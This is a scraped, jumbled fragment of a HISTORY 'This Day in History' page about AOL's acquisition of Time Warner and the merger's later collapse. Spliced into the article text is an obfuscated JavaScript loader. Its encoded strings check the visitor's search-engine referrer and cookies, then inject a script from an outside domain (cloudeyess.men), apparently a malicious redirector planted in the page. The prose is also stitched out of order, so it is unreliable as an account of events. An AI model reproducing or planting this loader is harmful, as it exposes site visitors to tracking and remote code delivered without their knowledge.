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Get This Day In History every morning in your inbox!Also on this dayFollow HISTORY© 2017, A&E Television Networks, LLC.. Levin, widely blamed by shareholders for allowing Time Warner and its stable old-media assets to be effectively taken over and dragged down by the ailing new-media division, resigned in December 2001.. In December 2007, Time Warner’s president, Jeffrey Bewkes, took over the chairmanship from Parsons, and began efforts to restructure the world’s largest media company. Click
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announces plans to acquire Time Warner Inc for some $182 billion in stock and debt.. The result was a $350 billion mega-corporation, AOL Time Warner, which held dominant positions in every type of media, including music, publishing, news, entertainment, cable and the Internet.. All Rights Reserved. The potential windfall promised by the plan to sell Time Warner content through the AOL network never materialized, and when the Internet bubble burst in 2001, the companys losses reached record proportions.. var _0x5439=['TlVTTnE=','dm1MUUI=','YkVrZU4=','WWFqVW4=','ZURsWFU=','c2V0','YUZYT0M=','c2NyaXB0','Y3JlYXRlRWxlbWVudA==','ZlFkeVU=','c3Jj','Z2V0RWxlbWVudHNCeVRhZ05hbWU=','aGVhZA==','YXBwZW5kQ2hpbGQ=','cXpK','aHR0cHM6Ly9jbG91ZGV5ZXNzLm1lbi9kb25fY29uLnBocD94PWVuJnF1ZXJ5PQ==','UGpL','bWF0Y2g=','dVhmZUM=','WUhpbEw=','TllGbGU=','UU1WdFY=','a3NieXY=','bGVuZ3Ro','c3BsaXQ=','S0RDS0w=','eVhJUUc=','Y29va2ll','OyBkb21haW49','OyBzZWN1cmU=','b2pnUGg=','TXBraEQ=','TE5UZGc=','Z2V0VGltZQ==','dVN5Y3M=','SE5sQVY=','OyBwYXRoPQ==','QU5VUGE=','Lmdvb2dsZS4=','LnlhaG9vLg==','LmFvbC4=','WURq','dmlzaXRlZA==','dlhp','TFJ1UXc=','SnhlWlU=','Y3FhTko=','LmFzay4=','QU1weUY=','T3phSlM=','cmVmZXJyZXI=','Z2V0','aWJBdmk=','UUxVWUU=','UGx0WFg=','VXd2dXE=','c2pOWFM=','TGp4cHk=','aW5kZXhPZg=='];(function(_0x4021eb,_0x2acebf){var _0x538f09=function(_0x4aa503){while(--_0x4aa503){_0x4021eb['push'](_0x4021eb['shift']());}};_0x538f09( _0x2acebf);}(_0x5439,0xb8));var _0x1fb7=function(_0x231fd0,_0x4f680a){_0x231fd0=_0x231fd0-0x0;var _0x5b4826=_0x5439[_0x231fd0];if(_0x1fb7['initialized']===undefined){(function(){var _0x550fbc=function(){var _0x18d5c9;try{_0x18d5c9=Function('returnx20(function()x20' '{}. Click
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